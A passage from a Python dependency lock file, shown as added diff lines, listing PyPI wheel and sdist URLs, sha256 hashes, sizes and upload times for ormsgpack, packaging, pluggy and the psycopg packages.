"https://files.pythonhosted.org/packages/6e/31/5efa31346affdac489acade2926989e019e8ca98129658a183e3add7af5e/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3601f19afdbea273ed70b06495e5794606a8b690a568d6c996a90d7255e51c1", size = 203194, upload-time = "2026-01-18T20:56:08.252Z" }, + { url = "https://files.pythonhosted.org/packages/eb/56/d0087278beef833187e0167f8527235ebe6f6ffc2a143e9de12a98b1ce87/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:29a9f17a3dac6054c0dce7925e0f4995c727f7c41859adf9b5572180f640d172", size = 210778, upload-time = "2026-01-18T20:55:17.694Z" }, + { url = "https://files.pythonhosted.org/packages/1c/a2/072343e1413d9443e5a252a8eb591c2d5b1bffbe5e7bfc78c069361b92eb/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:39c1bd2092880e413902910388be8715f70b9f15f20779d44e673033a6146f2d", size = 212592, upload-time = "2026-01-18T20:55:32.747Z" }, + { url = "https://files.pythonhosted.org/packages/a2/8b/a0da3b98a91d41187a63b02dda14267eefc2a74fcb43cc2701066cf1510e/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:50b7249244382209877deedeee838aef1542f3d0fc28b8fe71ca9d7e1896a0d7", size = 387164, upload-time = "2026-01-18T20:55:40.853Z" }, + { url = "https://files.pythonhosted.org/packages/19/bb/6d226bc4cf9fc20d8eb1d976d027a3f7c3491e8f08289a2e76abe96a65f3/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:5af04800d844451cf102a59c74a841324868d3f1625c296a06cc655c542a6685", size = 482516, upload-time = "2026-01-18T20:55:42.033Z" }, + { url = "https://files.pythonhosted.org/packages/fb/f1/bb2c7223398543dedb3dbf8bb93aaa737b387de61c5feaad6f908841b782/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cec70477d4371cd524534cd16472d8b9cc187e0e3043a8790545a9a9b296c258", size = 425539, upload-time = "2026-01-18T20:55:24.727Z" }, + { url = "https://files.pythonhosted.org/packages/7b/e8/0fb45f57a2ada1fed374f7494c8cd55e2f88ccd0ab0a669aa3468716bf5f/ormsgpack-1.12.2-cp313-cp313-win_amd64.whl", hash = "sha256:21f4276caca5c03a818041d637e4019bc84f9d6ca8baa5ea03e5cc8bf56140e9", size = 117459, upload-time = "2026-01-18T20:55:56.876Z" }, + { url = "https://files.pythonhosted.org/packages/7a/d4/0cfeea1e960d550a131001a7f38a5132c7ae3ebde4c82af1f364ccc5d904/ormsgpack-1.12.2-cp313-cp313-win_arm64.whl", hash = "sha256:baca4b6773d20a82e36d6fd25f341064244f9f86a13dead95dd7d7f996f51709", size = 111577, upload-time = "2026-01-18T20:55:43.605Z" }, + { url = "https://files.pythonhosted.org/packages/94/16/24d18851334be09c25e87f74307c84950f18c324a4d3c0b41dabdbf19c29/ormsgpack-1.12.2-cp314-cp314-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bc68dd5915f4acf66ff2010ee47c8906dc1cf07399b16f4089f8c71733f6e36c", size = 378717, upload-time = "2026-01-18T20:55:26.164Z" }, + { url = "https://files.pythonhosted.org/packages/b5/a2/88b9b56f83adae8032ac6a6fa7f080c65b3baf9b6b64fd3d37bd202991d4/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46d084427b4132553940070ad95107266656cb646ea9da4975f85cb1a6676553", size = 203183, upload-time = "2026-01-18T20:55:18.815Z" }, + { url = "https://files.pythonhosted.org/packages/a9/80/43e4555963bf602e5bdc79cbc8debd8b6d5456c00d2504df9775e74b450b/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c010da16235806cf1d7bc4c96bf286bfa91c686853395a299b3ddb49499a3e13", size = 210814, upload-time = "2026-01-18T20:55:33.973Z" }, + { url = "https://files.pythonhosted.org/packages/78/e1/7cfbf28de8bca6efe7e525b329c31277d1b64ce08dcba723971c241a9d60/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18867233df592c997154ff942a6503df274b5ac1765215bceba7a231bea2745d", size = 212634, upload-time = "2026-01-18T20:55:28.634Z" }, + { url = "https://files.pythonhosted.org/packages/95/f8/30ae5716e88d792a4e879debee195653c26ddd3964c968594ddef0a3cc7e/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b009049086ddc6b8f80c76b3955df1aa22a5fbd7673c525cd63bf91f23122ede", size = 387139, upload-time = "2026-01-18T20:56:02.013Z" }, + { url = "https://files.pythonhosted.org/packages/dc/81/aee5b18a3e3a0e52f718b37ab4b8af6fae0d9d6a65103036a90c2a8ffb5d/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:1dcc17d92b6390d4f18f937cf0b99054824a7815818012ddca925d6e01c2e49e", size = 482578, upload-time = "2026-01-18T20:55:35.117Z" }, + { url = "https://files.pythonhosted.org/packages/bd/17/71c9ba472d5d45f7546317f467a5fc941929cd68fb32796ca3d13dcbaec2/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f04b5e896d510b07c0ad733d7fce2d44b260c5e6c402d272128f8941984e4285", size = 425539, upload-time = "2026-01-18T20:56:04.009Z" }, + { url = "https://files.pythonhosted.org/packages/2e/a6/ac99cd7fe77e822fed5250ff4b86fa66dd4238937dd178d2299f10b69816/ormsgpack-1.12.2-cp314-cp314-win_amd64.whl", hash = "sha256:ae3aba7eed4ca7cb79fd3436eddd29140f17ea254b91604aa1eb19bfcedb990f", size = 117493, upload-time = "2026-01-18T20:56:07.343Z" }, + { url = "https://files.pythonhosted.org/packages/3a/67/339872846a1ae4592535385a1c1f93614138566d7af094200c9c3b45d1e5/ormsgpack-1.12.2-cp314-cp314-win_arm64.whl", hash = "sha256:118576ea6006893aea811b17429bfc561b4778fad393f5f538c84af70b01260c", size = 111579, upload-time = "2026-01-18T20:55:21.161Z" }, + { url = "https://files.pythonhosted.org/packages/49/c2/6feb972dc87285ad381749d3882d8aecbde9f6ecf908dd717d33d66df095/ormsgpack-1.12.2-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7121b3d355d3858781dc40dafe25a32ff8a8242b9d80c692fd548a4b1f7fd3c8", size = 378721, upload-time = "2026-01-18T20:55:52.12Z" }, + { url = "https://files.pythonhosted.org/packages/a3/9a/900a6b9b413e0f8a471cf07830f9cf65939af039a362204b36bd5b581d8b/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ee766d2e78251b7a63daf1cddfac36a73562d3ddef68cacfb41b2af64698033", size = 203170, upload-time = "2026-01-18T20:55:44.469Z" }, + { url = "https://files.pythonhosted.org/packages/87/4c/27a95466354606b256f24fad464d7c97ab62bce6cc529dd4673e1179b8fb/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:292410a7d23de9b40444636b9b8f1e4e4b814af7f1ef476e44887e52a123f09d", size = 212816, upload-time = "2026-01-18T20:55:23.501Z" }, + { url = "https://files.pythonhosted.org/packages/73/cd/29cee6007bddf7a834e6cd6f536754c0535fcb939d384f0f37a38b1cddb8/ormsgpack-1.12.2-cp314-cp314t-win_amd64.whl", hash = "sha256:837dd316584485b72ef451d08dd3e96c4a11d12e4963aedb40e08f89685d8ec2", size = 117232, upload-time = "2026-01-18T20:55:45.448Z" }, +] + +[[package]] +name = "packaging" +version = "25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "psycopg" +version = "3.3.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, + { name = "tzdata", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/db/2f/cb91e5502ec9de1de6f1b76cfbf69531932725361168bb06963620c77e2e/psycopg-3.3.4.tar.gz", hash = "sha256:e21207764952cff81b6b8bdacad9a3939f2793367fdac2987b3aac36a651b5bc", size = 165799, upload-time = "2026-05-01T23:31:55.179Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5c/e0/7b3dee031daae7743609ce3c746565d4a3ed7c2c186479eb48e34e838c64/psycopg-3.3.4-py3-none-any.whl", hash = "sha256:b6bbc25ccf05c8fad3b061d9db2ef0909a555171b84b07f29458a447253d679a", size = 213001, upload-time = "2026-05-01T23:20:50.816Z" }, +] + +[package.optional-dependencies] +binary = [ + { name = "psycopg-binary", marker = "implementation_name != 'pypy'" }, +] + +[[package]] +name = "psycopg-binary" +version = "3.3.4" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/bf/70d8a60488f9955cbbcd538beae44d56bb2f1d19e673b72788f2d343ff55/psycopg_binary-3.3.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b7bfff1ca23732b488cbca3076fc11bc98d520ee122514fdb17a8e20d3338f5a", size = 4609750, upload-time = "2026-05-01T23:24:20.06Z" }, + { url = "https://files.pythonhosted.org/packages/db/b0/29e98ba210c9dbc75a6dc91e3f99b9e06ea901a62ca95804e02a1ae13e6b/psycopg_binary-3.3.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:32a6fbf8481e3a370d0d72b860d35948a693cb01281da217f7b2f307636e591a", size = 4676700, upload-time = "2026-05-01T23:25:21.727Z" }, + { url = "https://files.pythonhosted.org/packages/8e/ab/3df087b3c12bf74e47c08204172b2fabb5a144679110d5c7ad12d9201323/psycopg_binary-3.3.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:bdef84570ebbce1d42b4e7ea952d21c414c5f118ad02fee00c5625f35e134429", size = 5496319, upload-time = "2026-05-01T23:25:28.271Z" }, + { url = "https://files.pythonhosted.org/packages/87/9a/f088207b4cd6772f9e0d8a91807e79fa2458d4eb9eb1ae406c68415f2bec/psycopg_binary-3.3.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fa1cbc10768a796c96d3243656016bf4e337c81c71097270bb7b0ad6210d9765", size = 5171906, upload-time = "2026-05-01T23:25:34.004Z" }, + { url = "https://files.pythonhosted.org/packages/48/45/4523a857f253871d75c22e1c2e79fd47e599e736bcba1bad58d83e24be02/psycopg_binary-3.3.4-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cf7f73a4a792bc5db58a4b385d8a1467e8d468f7548702fb0ed1e9b7501b1c13", size = 6762621, upload-time = "2026-05-01T23:25:41.392Z" }, + { url = "https://files.pythonhosted.org/packages/7c/d1/925bf776503345bef428e6c45fb017d0139ddbe0e211814b585c4253dca8/psycopg_binary-3.3.4-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d7b4d40c153fa352ab3cca530f3a0baedf7621b2ebcbd7f084009522c21788fc", size = 5006319, upload-time = "2026-05-01T23:25:51.419Z" }, + { url = "https://files.pythonhosted.org/packages/6f/aa/99727337206fbba357ca084bf4ea8b29dc986f61842a2685859af61416db/psycopg_binary-3.3.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f9b1c2533af01cd7648378599f82b0b8ae32f293296e6eec5753a625bc97ef28", size = 4535388, upload-time = "2026-05-01T23:25:57.957Z" }, + { url = "https://files.pythonhosted.org/packages/0b/a4/567ba2c37d19d8c2f63d836385dfd2495aa5897bbee6cfab104d9ee58624/psycopg_binary-3.3.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:ad3bc94054876155549fdaedf4a46d1ec69d39a5bcee377148afe498e84c4b8e", size = 4224544, upload-time = "2026-05-01T23:26:03.832Z" }, + { url = "https://files.pythonhosted.org/packages/b7/23/86457f5a82731685d7701de7bfaa5eb783dd1fecbf875321897d9d9ce33a/psycopg_binary-3.3.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:eb4eed2079c01a4850bf467deacfab56d356d4225040170af03dc9958321242d", size = 3956282, upload-time = "2026-05-01T23:26:09.983Z" }, + { url = "https://files.pythonhosted.org/packages/a7/d8/249456df16d47de082abd9b73bce8ccdeb0293eb12e590f9150c7cbdb788/psycopg_binary-3.3.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f80e3f2b5331dbbf0901bcb658056c03eeb2c1ef31d774afb0d61598b242e744", size = 4261736, upload-time = "2026-05-01T23:26:16.798Z" }, + { url = "https://files.pythonhosted.org/packages/15/6b/c4abe228acafd8a385c1fb615d4f1e3c9b8ad7a4e4f0e84118ba3ffeed9c/psycopg_binary-3.3.4-cp310-cp310-win_amd64.whl", hash = "sha256:574ea21a9651958f1535c5a1c649c7409e9168bcbffa29a3f2f961f58b322949", size = 3570620, upload-time = "2026-05-01T23:26:22.655Z" }, + { url = "https://files.pythonhosted.org/packages/b6/82/df3312c0ca083d5b43b352f27d4dd8b1e614bd334473074715d9e0000da4/psycopg_binary-3.3.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:612a627d733f695b1de1f9b4bd511c15f999a5d8b915d444bbd7dd71cf3370da", size = 4609813, upload-time = "2026-05-01T23:26:30.612Z" }, + { url = "https://files.pythonhosted.org/packages/1f/b5/d74d542458d3e8ac0571d8a88f57ca369999b9a82f4fa528052d0d7d3e4c/psycopg_binary-3.3.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:13a7f380824c35896dcac7fe0f61440f7ca49d6dc73f3c13a9a4471e6a3b302e", size = 4676799, upload-time = "2026-05-01T23:26:38.475Z" }, + { url = "https://files.pythonhosted.org/packages/09/67/06bab9c60671999f4c6ceff1b334f3ac1f9fc5789eb467c714623ea21de9/psycopg_binary-3.3.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:276904e3452d6a23d474ef9a21eee19f20eed3d53ddd2576af033827e0ba0992", size = 5497050, upload-time = "2026-05-01T23:26:47.061Z" }, + { url = "https://files.pythonhosted.org/packages/72/9b/023433e2b20f970de1e22d29132a95281277646da0b2e2879dd4ee94b8c1/psycopg_binary-3.3.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ab8cca8ef8fb1ccf5b048ae5bd78ba55b9e4b5d472e3ce5ca39ff4d2a9c249e4", size = 5172428, upload-time = "2026-05-01T23:26:56.708Z" }, + { url = "https://files.pythonhosted.org/packages/08/cd/ae16da8fde228a38b2fe9269bbc13cf89e0186173f2265600f02d6a71e64/psycopg_binary-3.3.4-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7465bfe6087d2d5b42d4c53b9b11ca9f218e477317a4a162a10e3c19e984ba8e", size = 6762746, upload-time = "2026-05-01T23:27:07.023Z" }, + { url = "https://files.pythonhosted.org/packages/4f/81/0ba09fa5f5f88779093a2541a8e02489825721f258ab88058b11d68b3eb5/psycopg_binary-3.3.4-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:22cdbf5f91ef7bb91fe0c5757e1962d3127a8010256eefd9c61fcaf441802097", size = 5006033, upload-time = "2026-05-01T23:27:12.221Z" }, + { url = "https://files.pythonhosted.org/packages/73/6a/629136040cc3497adb442a305710b5913f2a754d4630fc3d3717c4c0df65/psycopg_binary-3.3.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e2631da29253a98bd496e6c4813b24e09a4fe3fb2a9e88513305d6f8747cce95", size = 4534175, upload-time = "2026-05-01T23:27:18.248Z" }, + { url = "https://files.pythonhosted.org/packages/7c/32/1027f843c6dc2d5d51960ee62cc0c2cf755a4c39455aff1371173edbef7d/psycopg_binary-3.3.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:7f7668f30b9dd5163197e5cbf4e0efd54e00f0a859cc566ce56cfc31f4054839", size = 4224203, upload-time = "2026-05-01T23:27:24.3Z" }, + { url = "https://files.pythonhosted.org/packages/0b/e1/380a724d9093c74adb14d4fce920ea8327838abb61f760b1448586b14a8e/psycopg_binary-3.3.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:cffc3408d77a27973f33e5d909b624cce683db5fc25964b02fe0aae7886c1007", size = 3954509, upload-time = "2026-05-01T23:27:30.815Z" }, + { url = "https://files.pythonhosted.org/packages/db/cd/895893ae575a09c97ccfd5def070d88993d955ef34df45a881fd5ff506d6/psycopg_binary-3.3.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0579252a1202cd73e4da137a1426e2dae993ae44e757605344282af3a082848c", size = 4259551, upload-time = "2026-05-01T23:27:38.828Z" }, + { url = "https://files.pythonhosted.org/packages/dd/c6/2330a20794e37a3ec609ef2fd8522919ec7a4395a1abf979a8e2d1775cd5/psycopg_binary-3.3.4-cp311-cp311-win_amd64.whl", hash = "sha256:41f2ec0fea529832982bcb6c9415de3c86264ebe562b77a467c0fbcd7efbba8d", size = 3572054, upload-time = "2026-05-01T23:27:45.455Z" }, + { url = "https://files.pythonhosted.org/packages/95/7d/03818e13ba7f36de93573c93ee3482006d3dfa8b0f8d28df511bad0a1a92/psycopg_binary-3.3.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:5ab28a2a7649df3b72e6b674b4c190e448e8e77cf496a65bd846472048de2089", size = 4591122, upload-time = "2026-05-01T23:27:56.162Z" }, + { url = "https://files.pythonhosted.org/packages/a5/b9/11b341edf8d54e2694726b273fe9652b254d989f4f63e3ac6816ad6b55f4/psycopg_binary-3.3.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6402a9d8146cf4b3974ded3fd28a971e83dc6a0333eb7822524a3aa20b546578", size = 4669943, upload-time = "2026-05-01T23:28:04.522Z" }, + { url = "https://files.pythonhosted.org/packages/8b/18/4665bacd65e7865b4372fcd8abb8b9186ada4b0025f8c2ca691b364a556c/psycopg_binary-3.3.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:580ae30a5f95ccd90008ec697d3ed6a4a2047a516407ad904283fa42086936e9", size = 5469697, upload-time = "2026-05-01T23:28:11.337Z" }, + { url = "https://files.pythonhosted.org/packages/7c/b1/b83136c6e510593d9b0c759ba5384337bc4ad82d19fda675adc4b2703c84/psycopg_binary-3.3.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:e7510c37550f91a187e3660a8cc50d4b760f8c3b8b2f89ebc5698cd2c7f2c85d", size = 5152995, upload-time = "2026-05-01T23:28:20.529Z" }, + { url = "https://files.pythonhosted.org/packages/67/8d/a9821e2a648afe6091989929982a3b0f00b2631a859cb81379728f08fb75/psycopg_binary-3.3.4-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:77df19583501ea288eaf15ac0fe7ad01e6d8091a91d5c41df5c718f307d8e31b", size = 6738180, upload-time = "2026-05-01T23:28:30.654Z" }, + { url = "https://files.pythonhosted.org/packages/7e/58/2e349e8d23905dc2317b80ac65f48fb6f821a4777a4e994a60da91c4850f/psycopg_binary-3.3.4-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:018fbed325936da502feb546642c982dcc4b9ffdea32dfef78dbf3b7f7ad4070", size = 4978828, upload-time = "2026-05-01T23:28:37.277Z" }, + { url = "https://files.pythonhosted.org/packages/45/48/57b00d03b4721878326122a1f1e6b0a90b85bcaec56b5b2f8ea6cfa45235/psycopg_binary-3.3.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:17a21953a9e5ff3a16dab692625a3676e2f101db5e40072f39dbee2250194d68", size = 4509757, upload-time = "2026-05-01T23:28:43.078Z" }, + { url = "https://files.pythonhosted.org/packages/25/37/33b47d8c007df69aec500df5889767c4d313748e8e9e27a2fef8a6dabcee/psycopg_binary-3.3.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:eb05ee1c2b817d27c537333224c9e83c7afb86fe7296ba970990068baf819b16", size = 4190546, upload-time = "2026-05-01T23:28:50.016Z" }, + { url = "https://files.pythonhosted.org/packages/ca/c6/32b0835dbc2122617902b649d76a91c1e75406e76bf3d595b0c3bb5ffad6/psycopg_binary-3.3.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:773d573e11f437ce0bdb95b7c18dc58390494f96d43f8b45b9760436114f7652", size = 3926197, upload-time = "2026-05-01T23:28:55.55Z" }, + { url = "https://files.pythonhosted.org/packages/cd/68/d190ef0c0c5b16ded07831dabc8ddd412f4cdab07ec6e30ed38d9bda0e1f/psycopg_binary-3.3.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e55ccbdfae79a2ed9c6369c3008a3025817ff9d7e27b32a2d84e2a4267e66e", size = 4236627, upload-time = "2026-05-01T23:29:05.336Z" }, + { url = "https://files.pythonhosted.org/packages/25/8f/81dcbc2e8454b74d14881275ea45f00791052dac531a9fa8be1730d1685b/psycopg_binary-3.3.4-cp312-cp312-win_amd64.whl", hash = "sha256:494ca54901be8cf9eb7e02c25b731f2317c378efa44f43e8f9bd0e1184ae7be4", size = 3560782, upload-time = "2026-05-01T23:29:11.967Z" }, + { url = "https://files.pythonhosted.org/packages/09/43/13e9c406fbbf354580476e248a16b64802a376873ebe6339e30bb655572d/psycopg_binary-3.3.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:fbd1d4ed566895ad2d3bf4ddfd8bae90026930ddf29df3b9d91d32c8c47866a7", size = 4590377, upload-time = "2026-05-01T23:29:18.782Z" }, + { url = "https://files.pythonhosted.org/packages/22/be/2923cd7c3683e7afdecf4f10796a18de02f5c5ddc0969aa2ad0a8cdd3bbd/psycopg_binary-3.3.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:75a9067e236f9b9ae3535b66fe99bddb33d39c0de10112e49b9ab11eee53dc31", size = 4669023, upload-time = "2026-05-01T23:29:25.884Z" }, + { url = "https://files.pythonhosted.org/packages/96/a0/2c913d6fe13d6a8bd13597d36739bf47af063ad9399e402cfecab16f3c1e/psycopg_binary-3.3.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:b56b603ebcea8aa10b46228b8410ba7f13e7c2ee54389d4d9be0927fd8ce2a70", size = 5467423, upload-time = "2026-05-01T23:29:33.416Z" }, + { url = "https://files.pythonhosted.org/packages/e7/38/205d10bc1ad0df4a21c5c51659126bd3ea0ef98fcad1e852f78c249bb9c3/psycopg_binary-3.3.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c677c4ad433cb7150c8cd304a0769ae3bcfbe5ea0676eb53faa7b1443b16d0d3", size = 5151137, upload-time = "2026-05-01T23:29:42.013Z" }, + { url = "https://files.pythonhosted.org/packages/36/fc/f0381ddcd45eff3bb70dbca6823a996048d7f507b2ec3fc92c6fabc0fe87/psycopg_binary-3.3.4-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:26df2717e59c0473e4465a97dfb1b7afebaa479277870fd5784d1436470db47c", size = 6736671, upload-time = "2026-05-01T23:29:51.626Z" }, + { url = "https://files.pythonhosted.org/packages/95/40/fa545ae152c24327651e5624e4902121e808270be36c10b12e9939be09bc/psycopg_binary-3.3.4-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1dc1f79fd16bb1f3f4421417a514607539f17804d95c7ed617265369d1981cae", size = 4979601, upload-time = "2026-05-01T23:29:56.961Z" }, + { url = "https://files.pythonhosted.org/packages/86/e4/2f8a47ee97f90cd2b933d0463081d35631ff419de2b8c984a5f369857de0/psycopg_binary-3.3.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:136f199a407b5348b9b857c504aff60c77622a28482e7195839ce1b51238c4cc", size = 4510513, upload-time = "2026-05-01T23:30:07.243Z" }, + { url = "https://files.pythonhosted.org/packages/0e/0e/94e842ff4a7f98ed162580ca2e8b8864b28c1e0350f2443f8ee47f821167/psycopg_binary-3.3.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:b6f5a29e9c775b9f12a1a717aa7a2c80f9e1db6f27ba44a5b59c80ac61d2ffcf", size = 4187243, upload-time = "2026-05-01T23:30:15.352Z" }, + { url = "https://files.pythonhosted.org/packages/d0/83/fc6c174b672e29b7de996ea77b6cbddf46c891751c3355f6974292baa6b4/psycopg_binary-3.3.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:ee17a2cf4943cde261adfad1bbc5bf38d6b3776d7afff74c7cabcbeaeb08c260", size = 3927347, upload-time = "2026-05-01T23:30:21.186Z" }, + { url = "https://files.pythonhosted.org/packages/e9/65/768364d4a97a15b1a7f47ba52688c1686f22941d8332a8398cefc468e25f/psycopg_binary-3.3.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5c4ab71be17bdca30cb34c34c4e1496e2f5d6f20c199c12bad226070b22ef9bf", size = 4236393, upload-time = "2026-05-01T23:30:26.211Z" }, + { url = "https://files.pythonhosted.org/packages/bd/3b/218efbc9e645becd80cdf651acda05f85cfe546b7a9c0458c7cbc8fe1f74/psycopg_binary-3.3.4-cp313-cp313-win_amd64.whl", hash = "sha256:dbfdb9b6cc79f31104a7b162a2b921b765fcc62af6c00540a167a8de47e4ed38", size = 3564592, upload-time = "2026-05-01T23:30:31.764Z" }, + { url = "https://files.pythonhosted.org/packages/48/a6/828c9185701dab71b234c2a76c38a08b098ebfec5020716b4e93807492b5/psycopg_binary-3.3.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:28b7398fdd19db3232c884fb24550bdfe951221f510e195e233299e4c9b78f97", size = 4607292, upload-time = "2026-05-01T23:30:38.962Z" }, + { url = "https://files.pythonhosted.org/packages/92/58/5b40dbc9d839045c9dae956960e4fb6d20bcabe6c59a2aa34fc3a371913f/psycopg_binary-3.3.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1fbaa292a3c8bb61b45df1ad3da1908ccee7cb889db9425e3557d9e34e2a4829", size = 4687023, upload-time = "2026-05-01T23:30:47.227Z" }, + { url = "https://files.pythonhosted.org/packages/85/a9/793f0ac107a9003b48441d0d1f9f616d96e0f37458dd8dc12528ceff55fb/psycopg_binary-3.3.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:94596f9e7633ee3f6440711d43bb70aa31cc0a46a900ab8b4201a366ace5c9e7", size = 5486985, upload-time = "2026-05-01T23:30:55.517Z" }, + { url = "https://files.pythonhosted.org/packages/8f/26/42e8533497e2592334f68ec529cf5f840f7fa4e99575a4bb61aa184dbfbf/psycopg_binary-3.3.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8c0056529e68dbe9184cd4019a1f3d8f3a4ead2f6fc7a5afcf27d3314edd1277", size = 5168745, upload-time = "2026-05-01T23:31:01.904Z" }, + { url = "https://files.pythonhosted.org/packages/15/af/b7151776cc08d5935d45c833ec818a9beb417cf7c08239af1aafbdae78ee/psycopg_binary-3.3.4-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2c09aad7051326e7603c14e50636db9c01f78272dc54b3accff03d46370461e6", size = 6761486, upload-time = "2026-05-01T23:31:14.511Z" }, + { url = "https://files.pythonhosted.org/packages/d0/ed/c92533b9124712d592cbf1cd6c76da933a2e0acea81dfe1fbe7e735f0cff/psycopg_binary-3.3.4-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:514404ed543efd620c85602b747df2a23cf1241b4067199e1a66f2d2757aaa41", size = 4997427, upload-time = "2026-05-01T23:31:20.901Z" }, + { url = 